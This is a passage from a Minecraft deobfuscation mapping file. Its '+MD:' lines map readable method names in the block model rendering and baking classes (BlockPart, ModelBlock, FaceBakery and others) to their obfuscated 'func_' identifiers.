(Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;FZ)V net/minecraft/client/renderer/BlockModelRenderer/func_178266_a (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/state/IBlockState;FZ)V +MD: net/minecraft/client/renderer/BlockModelRenderer/renderModelStandard (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z net/minecraft/client/renderer/BlockModelRenderer/func_178258_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/block/Block;Lnet/minecraft/util/BlockPos;Lnet/minecraft/client/renderer/WorldRenderer;Z)Z +MD: net/minecraft/client/renderer/block/model/BakedQuad/getVertexData ()[I net/minecraft/client/renderer/block/model/BakedQuad/func_178209_a ()[I +MD: net/minecraft/client/renderer/block/model/BakedQuad/hasTintIndex ()Z net/minecraft/client/renderer/block/model/BakedQuad/func_178212_b ()Z +MD: net/minecraft/client/renderer/block/model/BakedQuad/getTintIndex ()I net/minecraft/client/renderer/block/model/BakedQuad/func_178211_c ()I +MD: net/minecraft/client/renderer/block/model/BakedQuad/getFace ()Lnet/minecraft/util/EnumFacing; net/minecraft/client/renderer/block/model/BakedQuad/func_178210_d ()Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseFacesCheck (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/Map; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178250_a (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/Map; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockPart; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockPart; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseRotation (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/renderer/block/model/BlockPartRotation; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178256_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/renderer/block/model/BlockPartRotation; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parsePosition (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lorg/lwjgl/util/vector/Vector3f; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178251_a (Lcom/google/gson/JsonObject;Ljava/lang/String;)Lorg/lwjgl/util/vector/Vector3f; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseEnumFacing (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178248_a (Ljava/lang/String;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseFaces (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/Map; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178253_b (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/Map; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseAngle (Lcom/google/gson/JsonObject;)F net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178255_b (Lcom/google/gson/JsonObject;)F +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parseAxis (Lcom/google/gson/JsonObject;)Lnet/minecraft/util/EnumFacing$Axis; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178252_c (Lcom/google/gson/JsonObject;)Lnet/minecraft/util/EnumFacing$Axis; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parsePositionTo (Lcom/google/gson/JsonObject;)Lorg/lwjgl/util/vector/Vector3f; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178247_d (Lcom/google/gson/JsonObject;)Lorg/lwjgl/util/vector/Vector3f; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/BlockPart$Deserializer/parsePositionFrom (Lcom/google/gson/JsonObject;)Lorg/lwjgl/util/vector/Vector3f; net/minecraft/client/renderer/block/model/BlockPart$Deserializer/func_178249_e (Lcom/google/gson/JsonObject;)Lorg/lwjgl/util/vector/Vector3f; +MD: net/minecraft/client/renderer/block/model/BlockPart/setDefaultUvs ()V net/minecraft/client/renderer/block/model/BlockPart/func_178235_a ()V +MD: net/minecraft/client/renderer/block/model/BlockPart/getFaceUvs (Lnet/minecraft/util/EnumFacing;)[F net/minecraft/client/renderer/block/model/BlockPart/func_178236_a (Lnet/minecraft/util/EnumFacing;)[F +MD: net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockPartFace; net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockPartFace; +MD: net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/parseTintIndex (Lcom/google/gson/JsonObject;)I net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/func_178337_a (Lcom/google/gson/JsonObject;)I +MD: net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/parseTexture (Lcom/google/gson/JsonObject;)Ljava/lang/String; net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/func_178340_b (Lcom/google/gson/JsonObject;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/parseCullFace (Lcom/google/gson/JsonObject;)Lnet/minecraft/util/EnumFacing; net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/func_178339_c (Lcom/google/gson/JsonObject;)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/BlockPartFace$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockFaceUV; net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/BlockFaceUV; +MD: net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/parseRotation (Lcom/google/gson/JsonObject;)I net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/func_178291_a (Lcom/google/gson/JsonObject;)I +MD: net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/parseUV (Lcom/google/gson/JsonObject;)[F net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/func_178292_b (Lcom/google/gson/JsonObject;)[F +MD: net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/BlockFaceUV$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/BlockFaceUV/func_178348_a (I)F net/minecraft/client/renderer/block/model/BlockFaceUV/func_178348_a (I)F +MD: net/minecraft/client/renderer/block/model/BlockFaceUV/setUvs ([F)V net/minecraft/client/renderer/block/model/BlockFaceUV/func_178349_a ([F)V +MD: net/minecraft/client/renderer/block/model/BlockFaceUV/func_178346_b (I)F net/minecraft/client/renderer/block/model/BlockFaceUV/func_178346_b (I)F +MD: net/minecraft/client/renderer/block/model/BlockFaceUV/func_178345_c (I)I net/minecraft/client/renderer/block/model/BlockFaceUV/func_178345_c (I)I +MD: net/minecraft/client/renderer/block/model/BlockFaceUV/func_178347_d (I)I net/minecraft/client/renderer/block/model/BlockFaceUV/func_178347_d (I)I +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/getModelElements (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/List; net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/func_178325_a (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/getAmbientOcclusionEnabled (Lcom/google/gson/JsonObject;)Z net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/func_178328_a (Lcom/google/gson/JsonObject;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/getTextures (Lcom/google/gson/JsonObject;)Ljava/util/Map; net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/func_178329_b (Lcom/google/gson/JsonObject;)Ljava/util/Map; +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/getParent (Lcom/google/gson/JsonObject;)Ljava/lang/String; net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/func_178326_c (Lcom/google/gson/JsonObject;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/ModelBlock$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/ModelBlock/getElements ()Ljava/util/List; net/minecraft/client/renderer/block/model/ModelBlock/func_178298_a ()Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ModelBlock/getTransform (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; net/minecraft/client/renderer/block/model/ModelBlock/func_181681_a (Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms$TransformType;)Lnet/minecraft/client/renderer/block/model/ItemTransformVec3f; +MD: net/minecraft/client/renderer/block/model/ModelBlock/deserialize (Ljava/io/Reader;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/renderer/block/model/ModelBlock/func_178307_a (Ljava/io/Reader;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/renderer/block/model/ModelBlock/deserialize (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/renderer/block/model/ModelBlock/func_178294_a (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/renderer/block/model/ModelBlock/resolveTextureName (Ljava/lang/String;Lnet/minecraft/client/renderer/block/model/ModelBlock$Bookkeep;)Ljava/lang/String; net/minecraft/client/renderer/block/model/ModelBlock/func_178302_a (Ljava/lang/String;Lnet/minecraft/client/renderer/block/model/ModelBlock$Bookkeep;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/ModelBlock/getParentFromMap (Ljava/util/Map;)V net/minecraft/client/renderer/block/model/ModelBlock/func_178299_a (Ljava/util/Map;)V +MD: net/minecraft/client/renderer/block/model/ModelBlock/isAmbientOcclusion ()Z net/minecraft/client/renderer/block/model/ModelBlock/func_178309_b ()Z +MD: net/minecraft/client/renderer/block/model/ModelBlock/isTexturePresent (Ljava/lang/String;)Z net/minecraft/client/renderer/block/model/ModelBlock/func_178300_b (Ljava/lang/String;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlock/checkModelHierarchy (Ljava/util/Map;)V net/minecraft/client/renderer/block/model/ModelBlock/func_178312_b (Ljava/util/Map;)V +MD: net/minecraft/client/renderer/block/model/ModelBlock/isGui3d ()Z net/minecraft/client/renderer/block/model/ModelBlock/func_178311_c ()Z +MD: net/minecraft/client/renderer/block/model/ModelBlock/resolveTextureName (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/renderer/block/model/ModelBlock/func_178308_c (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/ModelBlock/isResolved ()Z net/minecraft/client/renderer/block/model/ModelBlock/func_178303_d ()Z +MD: net/minecraft/client/renderer/block/model/ModelBlock/startsWithHash (Ljava/lang/String;)Z net/minecraft/client/renderer/block/model/ModelBlock/func_178304_d (Ljava/lang/String;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlock/getParentLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/block/model/ModelBlock/func_178305_e ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/block/model/ModelBlock/getRootModel ()Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/renderer/block/model/ModelBlock/func_178310_f ()Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/renderer/block/model/ModelBlock/getAllTransforms ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/renderer/block/model/ModelBlock/func_181682_g ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/client/renderer/block/model/ModelBlock/hasParent ()Z net/minecraft/client/renderer/block/model/ModelBlock/func_178295_k ()Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/parseVariantsList (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/List; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/func_178334_a (Lcom/google/gson/JsonDeserializationContext;Lcom/google/gson/JsonObject;)Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/parseVariants (Lcom/google/gson/JsonDeserializationContext;Ljava/util/Map$Entry;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/func_178335_a (Lcom/google/gson/JsonDeserializationContext;Ljava/util/Map$Entry;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/parseRotation (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/resources/model/ModelRotation; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/func_178428_a (Lcom/google/gson/JsonObject;)Lnet/minecraft/client/resources/model/ModelRotation; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/makeModelLocation (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/func_178426_a (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/parseModel (Lcom/google/gson/JsonObject;)Ljava/lang/String; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/func_178424_b (Lcom/google/gson/JsonObject;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/parseWeight (Lcom/google/gson/JsonObject;)I net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/func_178427_c (Lcom/google/gson/JsonObject;)I +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/parseUvLock (Lcom/google/gson/JsonObject;)Z net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/func_178429_d (Lcom/google/gson/JsonObject;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant$Deserializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/getModelLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/func_178431_a ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/getRotation ()Lnet/minecraft/client/resources/model/ModelRotation; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/func_178432_b ()Lnet/minecraft/client/resources/model/ModelRotation; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/isUvLocked ()Z net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/func_178433_c ()Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/getWeight ()I net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/func_178430_d ()I +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/hashCode ()I net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variant/hashCode ()I +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/access$000 (Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants;)Ljava/lang/String; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/access$000 (Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants;)Ljava/lang/String; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/getVariants ()Ljava/util/List; net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/func_178420_b ()Ljava/util/List; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/hashCode ()I net/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants/hashCode ()I +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/parseFromReader (Ljava/io/Reader;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; net/minecraft/client/renderer/block/model/ModelBlockDefinition/func_178331_a (Ljava/io/Reader;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/getVariants (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants; net/minecraft/client/renderer/block/model/ModelBlockDefinition/func_178330_b (Ljava/lang/String;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition$Variants; +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/equals (Ljava/lang/Object;)Z net/minecraft/client/renderer/block/model/ModelBlockDefinition/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/renderer/block/model/ModelBlockDefinition/hashCode ()I net/minecraft/client/renderer/block/model/ModelBlockDefinition/hashCode ()I +MD: net/minecraft/client/renderer/block/model/BreakingFour/remapVert (I)V net/minecraft/client/renderer/block/model/BreakingFour/func_178216_a (I)V +MD: net/minecraft/client/renderer/block/model/BreakingFour/remapQuad ()V net/minecraft/client/renderer/block/model/BreakingFour/func_178217_e ()V +MD: net/minecraft/client/renderer/block/model/FaceBakery/getMatrixIdentity ()Lorg/lwjgl/util/vector/Matrix4f; net/minecraft/client/renderer/block/model/FaceBakery/func_178411_a ()Lorg/lwjgl/util/vector/Matrix4f; +MD: net/minecraft/client/renderer/block/model/FaceBakery/lockVertexUv (I[ILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178401_a (I[ILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/makeQuadVertexData (Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;[FLnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)[I net/minecraft/client/renderer/block/model/FaceBakery/func_178405_a (Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;[FLnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)[I +MD: net/minecraft/client/renderer/block/model/FaceBakery/getFaceShadeColor (Lnet/minecraft/util/EnumFacing;)I net/minecraft/client/renderer/block/model/FaceBakery/func_178413_a (Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/client/renderer/block/model/FaceBakery/rotatePart (Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178407_a (Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/rotateVertex (Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/util/EnumFacing;ILnet/minecraft/client/resources/model/ModelRotation;Z)I net/minecraft/client/renderer/block/model/FaceBakery/func_178415_a (Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/util/EnumFacing;ILnet/minecraft/client/resources/model/ModelRotation;Z)I +MD: net/minecraft/client/renderer/block/model/FaceBakery/getPositionsDiv16 (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;)[F net/minecraft/client/renderer/block/model/FaceBakery/func_178403_a (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;)[F +MD: net/minecraft/client/renderer/block/model/FaceBakery/makeBakedQuad (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)Lnet/minecraft/client/renderer/block/model/BakedQuad; net/minecraft/client/renderer/block/model/FaceBakery/func_178414_a (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)Lnet/minecraft/client/renderer/block/model/BakedQuad; +MD: net/minecraft/client/renderer/block/model/FaceBakery/rotateScale (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Matrix4f;Lorg/lwjgl/util/vector/Vector3f;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178406_a (Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Vector3f;Lorg/lwjgl/util/vector/Matrix4f;Lorg/lwjgl/util/vector/Vector3f;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/getFacingFromVertexData ([I)Lnet/minecraft/util/EnumFacing; net/minecraft/client/renderer/block/model/FaceBakery/func_178410_a ([I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/client/renderer/block/model/FaceBakery/storeVertexData ([IIILorg/lwjgl/util/vector/Vector3f;ILnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178404_a ([IIILorg/lwjgl/util/vector/Vector3f;ILnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/fillVertexData ([IILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockPartFace;[FLnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)V net/minecraft/client/renderer/block/model/FaceBakery/func_178402_a ([IILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockPartFace;[FLnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/client/resources/model/ModelRotation;Lnet/minecraft/client/renderer/block/model/BlockPartRotation;ZZ)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/applyFacing ([ILnet/minecraft/util/EnumFacing;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178408_a ([ILnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/lockUv ([ILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/renderer/block/model/FaceBakery/func_178409_a ([ILnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BlockFaceUV;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/renderer/block/model/FaceBakery/getFaceBrightness (Lnet/minecraft/util/EnumFacing;)F net/minecraft/client/renderer/block/model/FaceBakery/func_178412_b (Lnet/minecraft/util/EnumFacing;)F +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178383_a ()Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing; net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178383_a ()Lnet/minecraft/client/renderer/block/model/ItemModelGenerator$SpanFacing; +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178382_a (I)V net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178382_a (I)V +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178385_b ()I net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178385_b ()I +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178384_c ()I net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178384_c ()I +MD: net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178381_d ()I net/minecraft/client/renderer/block/model/ItemModelGenerator$Span/func_178381_d ()I +MD: 